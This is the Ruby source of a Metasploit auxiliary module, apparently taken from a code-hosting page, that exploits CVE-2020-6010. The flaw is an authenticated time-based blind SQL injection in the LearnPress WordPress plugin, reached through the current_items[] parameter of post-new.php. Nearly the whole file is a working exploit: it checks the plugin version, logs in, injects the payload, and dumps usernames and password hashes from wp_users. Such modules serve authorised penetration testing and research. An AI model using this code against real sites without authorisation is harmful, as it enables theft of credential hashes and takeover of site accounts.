124 lines
4.2 KiB
Ruby
124 lines
4.2 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::HTTP::Wordpress
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include Msf::Auxiliary::Scanner
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include Msf::Exploit::SQLi
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Wordpress LearnPress current_items Authenticated SQLi',
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'Description' => %q{
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LearnPress, a learning management plugin for WordPress,
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prior to 3.2.6.8 is affected by an authenticated SQL injection via the
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current_items parameter of the post-new.php page.
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},
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'Author' => [
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'h00die', # msf module
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'Omri Herscovici', # Discovery and PoC
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'Sagi Tzadik', # Discovery and PoC
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'nhattruong' # edb poc
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],
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'License' => MSF_LICENSE,
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'References' => [
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['CVE', '2020-6010'],
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['URL', 'https://research.checkpoint.com/2020/e-learning-platforms-getting-schooled-multiple-vulnerabilities-in-wordpress-most-popular-learning-management-system-plugins/'],
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['EDB', '50137'],
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['WPVDB', '10208']
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],
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'Actions' => [
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['List Users', { 'Description' => 'Queries username, password hash for COUNT users' }]
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],
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'DefaultAction' => 'List Users',
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'DisclosureDate' => '2020-04-29',
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'Notes' => {
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'Stability' => [CRASH_SAFE],
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'SideEffects' => [IOC_IN_LOGS],
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'Reliability' => []
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}
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)
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)
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register_options [
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OptInt.new('COUNT', [false, 'Number of users to enumerate', 3]),
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OptString.new('USERNAME', [true, 'Valid Username for login', '']),
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OptString.new('PASSWORD', [true, 'Valid Password for login', ''])
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]
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end
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def run_host(ip)
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unless wordpress_and_online?
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vprint_error('Server not online or not detected as wordpress')
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return
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end
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checkcode = check_plugin_version_from_readme('learnpress', '3.2.6.8')
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if checkcode == Msf::Exploit::CheckCode::Safe
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vprint_error('LearnPress version not vulnerable')
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return
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end
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print_good('Vulnerable version of LearnPress detected')
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cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
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if cookie.nil?
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vprint_error('Invalid login, check credentials')
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return
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end
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@sqli = create_sqli(dbms: MySQLi::TimeBasedBlind, opts: { hex_encode_strings: true }) do |payload|
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res = send_request_cgi({
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'method' => 'POST',
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'cookie' => cookie,
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'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post-new.php'),
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'vars_get' => {
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'post_type' => 'lp_order'
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},
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'vars_post' => {
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'type' => 'lp_course',
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'context' => 'order-items',
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'context_id' => Rex::Text.rand_text_numeric(2, 0), # avoid 0s in case leading 0 gives bad results
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'term' => Rex::Text.rand_text_alpha(8),
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'paged' => 1,
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'lp-ajax' => 'modal_search_items',
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'current_items[]' => "1 AND (SELECT #{Rex::Text.rand_text_numeric(4, 0)} FROM (SELECT(#{payload}))#{Rex::Text.rand_text_alpha(4)})"
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}
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})
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fail_with Failure::Unreachable, 'Connection failed' unless res
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end
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unless @sqli.test_vulnerable
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print_bad("#{peer} - Testing of SQLi failed. If this is time based, try increasing SqliDelay.")
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return
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end
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columns = ['user_login', 'user_pass']
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print_status('Enumerating Usernames and Password Hashes')
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data = @sqli.dump_table_fields('wp_users', columns, '', datastore['COUNT'])
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table = Rex::Text::Table.new('Header' => 'wp_users', 'Indent' => 1, 'Columns' => columns)
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data.each do |user|
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create_credential({
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workspace_id: myworkspace_id,
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origin_type: :service,
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module_fullname: fullname,
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username: user[0],
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private_type: :nonreplayable_hash,
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jtr_format: Metasploit::Framework::Hashes.identify_hash(user[1]),
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private_data: user[1],
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service_name: 'Wordpress',
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address: ip,
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port: datastore['RPORT'],
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protocol: 'tcp',
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status: Metasploit::Model::Login::Status::UNTRIED
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})
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table << user
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end
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print_good(table.to_s)
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end
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end
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